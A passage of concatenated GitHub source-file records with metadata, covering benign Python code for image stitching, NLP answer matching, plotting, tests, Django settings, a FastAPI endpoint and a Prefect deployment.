safetensors import safe_open\nimport hashlib\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\n \"--model\",\n type=str,\n default=None,\n help=\"path to checkpoint of model\",\n)\nopt = parser.parse_args()\n\nwith safe_open(opt.model, framework=\"pt\", device=\"cpu\") as f:\n for key in f.keys():\n hashed_line = hashlib.sha256(str(f.get_tensor(key)).encode('utf-8')).hexdigest()\n print(f\"{key}: {hashed_line}\")\n", "repo_name": "Disty0/safetensors_sha256", "sub_path": "safetensors_sha256.py", "file_name": "safetensors_sha256.py", "file_ext": "py", "file_size_in_byte": 466, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 6, "usage_type": "call"}, {"api_name": "safetensors.safe_open", "line_number": 15, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 17, "usage_type": "call"}]} {"seq_id": "20240296138", "text": "from help_scripts.python_scripts.COLMAP_functions import *\nfrom help_scripts.python_scripts.estimate_plane import *\nfrom help_scripts.python_scripts.color_virtual_image import *\nfrom help_scripts.python_scripts.undistortion import compute_all_maps\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport cv2 as cv\n\n# Perform the reconstruction to get data\n#automatic_reconstructor()\n# image_undistorter()\n# stereo_fusion()\n\nimage_dir = r'/Users/ludvig/Documents/SSY226 Design project in MPSYS/Image-stitching-with-COLMAP/COLMAP_w_CUDA/'\ncameras, points3D, images = get_data_from_binary(image_dir)\ncoordinates = []\nfor key in points3D:\n coordinates.append(points3D[key].xyz)\ncoordinates = np.asarray(coordinates)\n\n#Estimate a floor plane\nplane, _ = ransac_find_plane(coordinates, threshold=0.01)\n\n# Get all camera matrices and images\ncamera_intrinsics = {}\nall_camera_matrices = {}\nimgs = {}\n#image_dir = '../COLMAP_w_CUDA/images/'\n# image_dir = '../COLMAP_w_CUDA/dense/0/images/'\n\nmaps = compute_all_maps(r'/Users/ludvig/Documents/SSY226 Design project in MPSYS/Image-stitching-with-COLMAP/COLMAP_w_CUDA/', full_size_img=False)\n\n# Rearrange COLMAP data\nfor key in images.keys():\n print('cameraid, name', images[key].camera_id, cameras[key].id)\n imgs[images[key].camera_id] = np.asarray(plt.imread(image_dir+\"images/\" + images[key].name))\n\n map_x, map_y = maps[key]\n imgs[images[key].camera_id] = cv.remap(imgs[images[key].camera_id], map_x, map_y, cv.INTER_LANCZOS4)\n\n all_camera_matrices[images[key].camera_id] = camera_quat_to_P(images[key].qvec, images[key].tvec)\n camera_intrinsics[cameras[key].id] = cameras[key]\n\n# VIRTUAL CAMERA WITH MEAN CENTER OF OTHER CAMERAS AND PRINCIPAL AXIS AS PLANE NORMAL\nPv = create_virtual_camera(all_camera_matrices,plane)\nw = 500\nh = 500\nf = 250\nK_virt = np.asarray([[f, 0, w/2],[0, f, h/2],[0, 0, 1]])\n\n\n# TEST WITH EXISTING CAMERA\n# K_temp, dist_temp = build_intrinsic_matrix(camera_intrinsics[1])\n# Pv = all_camera_matrices[1]['P']\n# K_virt = K_temp\n# w = int(K_virt[0, 2]*2)\n# h = int(K_virt[1, 2]*2)\n\n# TEST HOMOGRAPHY 2.0\nH = {}\nP_real_new = {}\n#\nfor key in all_camera_matrices:\n print('Key vs cam id', key, camera_intrinsics[key].id)\n K_temp, dist_temp = build_intrinsic_matrix(camera_intrinsics[key])\n H[key],plane_new,P_real_new[key],P_virt_trans = compute_homography(Pv, all_camera_matrices[key]['P'], K_virt, K_temp, plane)\n\nprint('HOMO',H)# color image\ncolor_images, stitched_image = color_virtual_image(plane, Pv, w, h, imgs, all_camera_matrices, camera_intrinsics, K_virt,'homography',H)\nstitched_image = stitched_image/255\nimgplot = plt.imshow(stitched_image)\nplt3d = plot_3D(points3D,plane,all_camera_matrices,Pv)\n\n\n#PLOT TRANSFORMED PLANE WITH TRANSFORMED CAMERAS (HOMOGRAPHY)\na, b, c, d = plane_new\nx = np.linspace(-5, 5, 10)\ny = np.linspace(-5, 5, 10)\nX, Y = np.meshgrid(x, y)\nZ = (d + a * X + b * Y) / -c\nplt4d = plt.figure().gca(projection='3d', autoscale_on=False)\nplt4d.plot_surface(X, Y, Z, alpha=0.5)\ncam_center, principal_axis = get_camera_center_and_axis(P_virt_trans)\nplt4d.quiver(cam_center[0],cam_center[1],cam_center[2], principal_axis[0,0], principal_axis[0,1], principal_axis[0,2], length=d, color='r')\ncolors = {1: 'r', 2: 'b', 3: 'g', 4: 'c'}\nfor key in P_real_new:\n cam_center, principal_axis = get_camera_center_and_axis(P_real_new[key])\n plt4d.quiver(cam_center[0],cam_center[1],cam_center[2], principal_axis[0,0], principal_axis[0,1], principal_axis[0,2], length=1, color=colors[key])\n\n\n\n# Test for visualizing the projection of a virtual pixel to the plane\n# pixelpoint = [0,0]\n# line_dir,line_point = line_from_pixel(pixelpoint,Pv,K_virt)\n# intersection_point = intersection_line_plane(line_dir,line_point,plane)\n# plt3d.scatter3D(intersection_point[0], intersection_point[1], intersection_point[2], cmap='Blues')\n# plt3d.quiver(line_point[0],line_point[1],line_point[2], line_dir[0], line_dir[1], line_dir[2], length=10, color='y')\n# cam_center, principal_axis = get_camera_center_and_axis(Pv)\n# plt3d.quiver(cam_center[0],cam_center[1],cam_center[2], principal_axis[0,0], principal_axis[0,1], principal_axis[0,2], length=distance, color='Red')\nplt.show()\n\n", "repo_name": "smushrian/Image-stitching-with-COLMAP", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4185, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.asarray", "line_number": 20, "usage_type": "call"}, {"api_name": "help_scripts.python_scripts.undistortion.compute_all_maps", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imread", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "cv2.remap", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.INTER_LANCZOS4", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}]} {"seq_id": "40145021080", "text": "import matplotlib.pyplot as plt\n\n# list holding time records and number of drones\nnum_drones = []\ngen_group_key_time = []\nre_key_time = []\n\n# read a csv file\n# import its content into lists\nCSV_file = '../time_records/existing_drones_varies.csv'\nwith open(CSV_file, 'r', encoding='utf-8') as csv_file:\n for line in csv_file.readlines()[1:]:\n drones, gen_group_key, re_key = list(map(float, line.split(',')))\n num_drones.append(drones)\n gen_group_key_time.append(gen_group_key)\n re_key_time.append(re_key)\n\n# plotting a line graph\nplt.rcParams.update({'font.size': 14})\nplt.figure()\nplt.plot(num_drones, gen_group_key_time, '-bo', label='GenGroupKey')\nplt.plot(num_drones, re_key_time, '-ro', label='Re-Key')\nplt.xlim((0,2000))\nplt.ylim((0,60))\n\nplt.xlabel('Number of Edge Drones')\nplt.ylabel('Time (s)')\nplt.xticks([0,500,1000,1500,2000])\n# plt.title('Performance of Team Leader')\nplt.legend(prop={'size': 16})\nplt.grid(axis='y')\n\nplt.show()", "repo_name": "ancuongnguyen07/ainQ_scheme", "sub_path": "python/statistic_visualization.py", "file_name": "statistic_visualization.py", "file_ext": "py", "file_size_in_byte": 972, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 19, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}]} {"seq_id": "14196129905", "text": "# from pudb import set_trace; set_trace()\nfrom typing import List\n\n\nclass Solution:\n def matrixReshape(self, mat: List[List[int]], r: int, c: int) -> List[List[int]]:\n \"\"\"LeetCode 566\n\n Use the (i * n + j) % c trick to obtain the column index in the new\n matrix from any value in the old matrix.\n\n O(MN), where M and N are the row and col numbers of mat. 88ms\n 65% ranking\n \"\"\"\n m, n = len(mat), len(mat[0])\n if m * n != r * c:\n return mat\n res = [[0] * c for _ in range(r)]\n ii = 0\n for i in range(m):\n for j in range(n):\n jj = (i * n + j) % c\n res[ii][jj] = mat[i][j]\n if jj == c - 1:\n ii += 1\n return res\n\n\nsol = Solution()\ntests = [\n ([[1, 2], [3, 4]], 1, 4, [[1, 2, 3, 4]]),\n ([[1, 2], [3, 4]], 2, 4, [[1, 2], [3, 4]]),\n]\n\nfor i, (mat, r, c, ans) in enumerate(tests):\n res = sol.matrixReshape(mat, r, c)\n if res == ans:\n print(f'Test {i}: PASS')\n else:\n print(f'Test {i}; Fail. Ans: {ans}, Res: {res}')\n", "repo_name": "FanchenBao/leetcode", "sub_path": "2021_07_challenge/07_05_2021.py", "file_name": "07_05_2021.py", "file_ext": "py", "file_size_in_byte": 1110, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}]} {"seq_id": "13785009135", "text": "import nltk\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.stem import PorterStemmer\n\nnltk.download('punkt')\n\nimport heapq\nimport project_config\n\ns_words = nltk.corpus.stopwords.words('english')\n#string_stop_words = [ str(x) for x in s_words]\n\ndef remove_stop_words( sentence, stop_words_list ):\n sent = [ w for w in sentence if w.lower() not in stop_words_list ]\n return set(sent)\n\ndef calculate_weight(match_count, doc_score) :\n return (doc_score * project_config.doc_score_weight + match_count)\n\ndef stem_sentence(sentence):\n stemmed_wordlist=[]\n ps=PorterStemmer()\n words=word_tokenize(sentence)\n words = set(words)\n for w in words:\n try:\n #stemmed_wordlist.append(ps.stem(w))\n stemmed_wordlist.append(str(ps.stem(w)))\n except:\n print(w)\n return set(stemmed_wordlist)\n\ndef get_token_set(sentence):\n word_List = word_tokenize(sentence)\n return set(word_List)\n\ndef match_question_answer(question_tokens_set, answer_tokens_set):\n common_word_count = len(set.intersection(question_tokens_set, answer_tokens_set))\n return (common_word_count)\n\ndef preprocess_sentence_before_match(sentence):\n stemmed_sentence = stem_sentence(sentence)\n return remove_stop_words(stemmed_sentence,s_words)\n\ndef context_based_sentences( corpus, qid, doc_id, sent_id, context_span):\n sentence_list = \"\"\n current_sentence_number = context_span/2\n context_lower_bound = max(sent_id - current_sentence_number, 0)\n doc_length = len(corpus[qid][doc_id])\n context_upper_bound = min(doc_length - 1,context_lower_bound + context_span -1)\n for sent_num in range(context_lower_bound, context_upper_bound + 1):\n sentence_list = sentence_list + \" \" + corpus[qid][doc_id][sent_num]\n return sentence_list\n \ndef find_max_matching_answer(qid, qtype, qtext, corpus, lookup_list, lookup_score):\n h = []\n h2 = []\n #\n # Perform stemming and remove stop words from question string.\n #\n question_tokens_set = preprocess_sentence_before_match(qtext)\n\n qid = str(qid)\n tuple_list = lookup_list[str(qid)][qtype.lower()]\n context_span = project_config.context_span\n top_five_answers = []\n for tup in tuple_list:\n doc_id = tup[0]\n sent_id = tup[1]\n answer = tup[2]\n #\n # Skip documents based on project_config.max_rank_check!\n #\n if doc_id > project_config.max_rank_check :\n break;\n\n sentence = corpus[qid][doc_id][sent_id]\n #\n # If user has decided to look for more than once sentence\n # to find answer, pick the previous and next sentences from\n # the corpus based on user picked value in project_config file.\n #\n sentence_list = context_based_sentences(corpus, qid, doc_id,\n sent_id,context_span)\n\n #\n # Perform stemming and remove stop words\n # from sentence picked for answering.\n #\n answer_tokens_set = preprocess_sentence_before_match(sentence_list)\n\n # Matching tokens in lower case, onl if feature is enabled.\n if project_config.lowercase_mode_on:\n answer_tokens_set = {w.lower() for w in answer_tokens_set}\n question_tokens_set = {w.lower() for w in question_tokens_set}\n\n common_word_count = match_question_answer(question_tokens_set, answer_tokens_set)\n #\n # Consider document score as well along with toaken match count\n # between question text and sentence picked for answering.\n #\n match_count_weight = calculate_weight(common_word_count,lookup_score[qid][doc_id])\n #\n # Two heaps are mainted. One maintains just the token match count and\n # other maintains the weight calculated based on match count and doc\n # score.\n #\n heapq.heappush(h, (match_count_weight, qid, doc_id, answer))\n heapq.heappush(h2, (common_word_count, qid, doc_id, answer))\n\n top_twenty_tuples = heapq.nlargest(20, h);\n top_twenty_tuples_unw = heapq.nlargest(20,h2)\n top_five_answers_unw = []\n\n answer_list = []\n #\n # How many answer out of 5 should be picked\n # from heap maininting weighted answers.\n #\n weighted_answer_count = project_config.weighted_answer_count\n\n for answer_tuple in top_twenty_tuples:\n answer_token = answer_tuple[3]\n if answer_token not in answer_list:\n top_five_answers.append(answer_tuple[1:4])\n answer_list.append(answer_token)\n final_answers = top_five_answers[0:weighted_answer_count]\n answer_list = [x[2] for x in final_answers]\n\n for answer_tuple in top_twenty_tuples_unw:\n answer_token = answer_tuple[3]\n if answer_token not in answer_list:\n top_five_answers_unw.append(answer_tuple[1:4])\n answer_list.append(answer_token)\n\n return (final_answers+top_five_answers_unw[0:5-weighted_answer_count])\n\n''' Sample run for the function in this file''\nheap = find_max_matching_answer('89', \"where\", \"where, is Gandhi?\", corpus, lookup_list)\nprint(heap)\n'''\n\n''' sample remove stop words : tokenized sentnece as input'''\n'''\nqw = remove_stop_words( [\"me\", \"asd\", \"qw\"], s_words)\nprint(qw)\n'''\n", "repo_name": "Poojaravishankar10/Projects", "sub_path": "QuestionAnswering/code_project3_part2/matchingAnswer.py", "file_name": "matchingAnswer.py", "file_ext": "py", "file_size_in_byte": 5281, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "nltk.download", "line_number": 6, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 11, "usage_type": "call"}, {"api_name": "nltk.corpus", "line_number": 11, "usage_type": "attribute"}, {"api_name": "project_config.doc_score_weight", "line_number": 19, "usage_type": "attribute"}, {"api_name": "nltk.stem.PorterStemmer", "line_number": 23, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 24, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 35, "usage_type": "call"}, {"api_name": "project_config.context_span", "line_number": 66, "usage_type": "attribute"}, {"api_name": "project_config.max_rank_check", "line_number": 75, "usage_type": "attribute"}, {"api_name": "project_config.lowercase_mode_on", "line_number": 94, "usage_type": "attribute"}, {"api_name": "heapq.heappush", "line_number": 109, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 110, "usage_type": "call"}, {"api_name": "heapq.nlargest", "line_number": 112, "usage_type": "call"}, {"api_name": "heapq.nlargest", "line_number": 113, "usage_type": "call"}, {"api_name": "project_config.weighted_answer_count", "line_number": 121, "usage_type": "attribute"}]} {"seq_id": "31142387373", "text": "import json\nimport math\n\nimport numpy as np\nimport pytest\n\nfrom parameterspace.transformations.base import BaseTransformation\nfrom parameterspace.transformations.categorical import Cat2Num\n\n\ndef test_cat2num_transformation():\n values = [\"foo\", \"bar\", 1, 2, 3]\n t = Cat2Num(values)\n reference_values = [\n (values[i], (i + 0.5) / len(values)) for i in np.random.choice(len(values), 128)\n ]\n # check_* functions in util don't work, b/c the types are not necessarily numerical\n ref_original = [v[0] for v in reference_values]\n ref_transformed = [v[1] for v in reference_values]\n\n all_transformed = [t(v) for v in ref_original]\n assert np.allclose(all_transformed, ref_transformed)\n\n all_inverted = [t.inverse(v) for v in ref_transformed]\n\n for original, inv_transformed in zip(ref_original, all_inverted):\n assert original == inv_transformed\n\n for v, tv in reference_values:\n assert t(v) == tv\n assert t.inverse(tv) == v\n\n assert t.inverse(-1e-4) == values[0]\n assert t.inverse(1 + 1e-4) == values[-1]\n\n assert np.allclose(t.output_bounds, [0, 1], 1e-6)\n assert t.input_bounds is None\n\n\ndef test_cat2num_to_from_dict():\n values = [\"foo\", \"bar\", 1, 2, 3.0, None, float(\"NaN\")]\n t1 = Cat2Num(values)\n json_dict = t1.to_dict()\n json.dumps(json_dict)\n t2 = BaseTransformation.from_dict(json_dict)\n\n assert t1 == t2\n\n # for good measure, let's make sure that both transform values to back and forth in\n # the same way\n reference_values = [\n (values[i], (i + 0.5) / len(values)) for i in np.random.choice(len(values), 128)\n ]\n # check_* functions in util don't work, b/c the types are not necessarily numerical\n # pylint: disable=unused-variable\n ref_original = [v[0] for v in reference_values]\n ref_transformed = [v[1] for v in reference_values]\n\n all_inverted1 = [t1.inverse(v) for v in ref_transformed]\n all_inverted2 = [t2.inverse(v) for v in ref_transformed]\n # pylint: enable=unused-variable\n\n for v, tv in reference_values:\n assert t1(v) == tv\n assert t1.inverse(tv) == v or (math.isnan(t1.inverse(tv)) and math.isnan(v))\n assert t2(v) == tv\n assert t2.inverse(tv) == v or (math.isnan(t2.inverse(tv)) and math.isnan(v))\n\n\ndef test_cat2num_equal():\n values = [\"foo\", \"bar\", 1, 2, 3.0, None, float(\"NaN\")]\n\n t1 = Cat2Num(values)\n t2 = Cat2Num(values[:-1])\n\n values[0] = \"baz\"\n\n t3 = Cat2Num(values)\n\n assert t1 != t2\n assert t1 != t3\n\n\nif __name__ == \"__main__\":\n pytest.main([\"--pdb\", \"-s\", __file__])\n", "repo_name": "boschresearch/parameterspace", "sub_path": "tests/transformations/test_categorical.py", "file_name": "test_categorical.py", "file_ext": "py", "file_size_in_byte": 2587, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "7", "api": [{"api_name": "parameterspace.transformations.categorical.Cat2Num", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.allclose", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 36, "usage_type": "call"}, {"api_name": "parameterspace.transformations.categorical.Cat2Num", "line_number": 42, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 44, "usage_type": "call"}, {"api_name": "parameterspace.transformations.base.BaseTransformation.from_dict", "line_number": 45, "usage_type": "call"}, {"api_name": "parameterspace.transformations.base.BaseTransformation", "line_number": 45, "usage_type": "name"}, {"api_name": "numpy.random.choice", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 52, "usage_type": "attribute"}, {"api_name": "math.isnan", "line_number": 65, "usage_type": "call"}, {"api_name": "math.isnan", "line_number": 67, "usage_type": "call"}, {"api_name": "parameterspace.transformations.categorical.Cat2Num", "line_number": 73, "usage_type": "call"}, {"api_name": "parameterspace.transformations.categorical.Cat2Num", "line_number": 74, "usage_type": "call"}, {"api_name": "parameterspace.transformations.categorical.Cat2Num", "line_number": 78, "usage_type": "call"}, {"api_name": "pytest.main", "line_number": 85, "usage_type": "call"}]} {"seq_id": "17362340462", "text": "\"\"\"\nDjango settings for todo project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.6/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.6/ref/settings/\n\"\"\"\n\nfrom decouple import config\nfrom dj_database_url import parse as db_url\nfrom os.path import join\nfrom sys import path\nfrom unipath import Path\n\nBASE_DIR = Path(__file__).absolute().ancestor(2)\n\n# insert path to apps\npath.insert(0, BASE_DIR.child('apps'))\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = config('SECRET_KEY')\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = config('DEBUG', default=False, cast=bool)\n\nTEMPLATE_DEBUG = DEBUG\n\nPROJECT_NAME = 'todo'\nALLOWED_HOSTS = ['.todo.com.br', ]\n\nADMINS = (\n ('admin', 'other@admin.com'),\n)\n\n\n# Application definition\n\nDJANGO_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n)\n\nLOCAL_APPS = (\n 'activity',\n)\n\nTHIRD_PARTY_APPS = (\n 'gunicorn',\n 'rest_framework',\n 'south',\n)\n\nINSTALLED_APPS = DJANGO_APPS + LOCAL_APPS + THIRD_PARTY_APPS\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nROOT_URLCONF = 'todo.urls'\n\nWSGI_APPLICATION = 'todo.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/1.6/ref/settings/#databases\n\nDATABASES = {\n 'default': config(\n 'DATABASE_URL',\n default='sqlite:///{0}/{1}'.format(BASE_DIR.child('db'), 'todo.sqlite3'),\n cast=db_url),\n}\n\nFIXTURE_DIRS = (join(BASE_DIR.child('db'), 'fixtures'), )\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.6/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'America/Recife'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\nLOCALE_PATHS = (BASE_DIR.child('locale'), )\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.6/howto/static-files/\nSTATIC_ROOT = BASE_DIR.child('staticfiles')\nSTATIC_URL = '/static/'\nSTATICFILES_DIRS = (BASE_DIR.child('static'), )\n\n# Media files\nMEDIA_ROOT = (BASE_DIR.child('media'), )\nMEDIA_URL = '/media/'\n\n# Template files\nTEMPLATE_DIRS = (BASE_DIR.child('templates'), )\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.contrib.auth.context_processors.auth',\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.core.context_processors.static',\n 'django.core.context_processors.tz',\n 'django.core.context_processors.request',\n 'django.contrib.messages.context_processors.messages',\n)\n\n# Email\n\nSEND_EMAIL = config('SEND_EMAIL')\nEMAIL_HOST = config('EMAIL_HOST')\nEMAIL_USER = config('EMAIL_USER')\nEMAIL_PASSWORD = config('EMAIL_PASSWORD')\nEMAIL_PORT = config('EMAIL_PORT')\nEMAIL_TLS = config('EMAIL_TLS')\n\nif SEND_EMAIL:\n EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\n EMAIL_HOST = EMAIL_HOST\n EMAIL_HOST_USER = EMAIL_USER\n EMAIL_HOST_PASSWORD = EMAIL_PASSWORD\n EMAIL_PORT = EMAIL_PORT\n EMAIL_USE_TLS = EMAIL_TLS\n SERVER_EMAIL = EMAIL_HOST_USER\n DEFAULT_FROM_EMAIL = EMAIL_HOST_USER\nelse:\n EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n\n# ALL OTHER KEYS\nfrom keys import *\n\nREST_FRAMEWORK = {\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework.authentication.BasicAuthentication',\n ),\n 'DEFAULT_RENDERER_CLASSES': (\n 'rest_framework.renderers.JSONRenderer',\n 'rest_framework.renderers.BrowsableAPIRenderer',\n )\n}\n", "repo_name": "arthuralvim/todo", "sub_path": "todo/settings/prod.py", "file_name": "prod.py", "file_ext": "py", "file_size_in_byte": 4053, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "unipath.Path", "line_number": 17, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 20, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 20, "usage_type": "name"}, {"api_name": "decouple.config", "line_number": 26, "usage_type": "call"}, {"api_name": "decouple.config", "line_number": 29, "usage_type": "call"}, {"api_name": "decouple.config", "line_number": 82, "usage_type": "call"}, {"api_name": "dj_database_url.parse", "line_number": 85, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "decouple.config", "line_number": 131, "usage_type": "call"}, {"api_name": "decouple.config", "line_number": 132, "usage_type": "call"}, {"api_name": "decouple.config", "line_number": 133, "usage_type": "call"}, {"api_name": "decouple.config", "line_number": 134, "usage_type": "call"}, {"api_name": "decouple.config", "line_number": 135, "usage_type": "call"}, {"api_name": "decouple.config", "line_number": 136, "usage_type": "call"}]} {"seq_id": "72895173662", "text": "import uvicorn\nimport pandas as pd\nfrom fastapi import FastAPI\nfrom Model import get_prediction\n\napp = FastAPI()\n\n## load temperature predictor\n# fake data ignored\n\n@app.get(\"/temp\")\ndef get_temp(date_forecast: str, town: str):\n # red model and get prediction\n df = pd.read_pickle(\"temp_model.pkl\")\n pred = get_prediction(df, date_forecast, town)\n pred_in_C = (pred - 32) * 5/9\n return {\n \"type\": \"Temperature in °C\",\n \"response\": pred_in_C\n }\n\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"0.0.0.0\", port=8000)\n", "repo_name": "bm777/vacation-finder-training", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 546, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "fastapi.FastAPI", "line_number": 6, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 14, "usage_type": "call"}, {"api_name": "Model.get_prediction", "line_number": 15, "usage_type": "call"}, {"api_name": "uvicorn.run", "line_number": 24, "usage_type": "call"}]} {"seq_id": "38681031621", "text": "from prefect.deployments import Deployment\nfrom prefect.filesystems import GitHub\n\nfrom workflows.flows.load_pipeline.gcs_to_bq import load_to_dw\n\ngithub_block = GitHub.load(\"github\")\ndeployment = Deployment.build_from_flow(\n flow=load_to_dw,\n name=\"load_to_dw\",\n storage=github_block,\n version=1,\n work_queue_name=\"main\")\n\nif __name__ == '__main__':\n deployment.apply()\n", "repo_name": "OlegVolchenko/bikes-rental-project", "sub_path": "workflows/deployments/gcs_to_bq_deployment.py", "file_name": "gcs_to_bq_deployment.py", "file_ext": "py", "file_size_in_byte": 389, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "prefect.filesystems.GitHub.load", "line_number": 6, "usage_type": "call"}, {"api_name": "prefect.filesystems.GitHub", "line_number": 6, "usage_type": "name"}, {"api_name": "prefect.deployments.Deployment.build_from_flow", "line_number": 7, "usage_type": "call"}, {"api_name": "prefect.deployments.Deployment", "line_number": 7, "usage_type": "name"}, {"api_name": "workflows.flows.load_pipeline.gcs_to_bq.load_to_dw", "line_number": 8, "usage_type": "name"}]} {"seq_id": "72844669982", "text": "import os\nimport argparse\nimport config\nimport numpy as np\nimport cv2\n\n\ndef preprocess(args, side_h=998, side_w=729):\n src_dir = args.src_dir\n in_files = []\n\n image_names = os.listdir(src_dir)\n for i in range(len(image_names)):\n comp_name = os.path.join(src_dir, image_names[i])\n in_files.append(comp_name)\n \n i = 0\n for file in in_files:\n if not os.path.isdir(file):\n i = i + 1\n print(file, \"====\", i)\n image = cv2.imread(file)\n\n h, w= image.shape[:2]\n rescale_fac = max(h, w) / 1000\n if rescale_fac > 1.0:\n h = int(h / 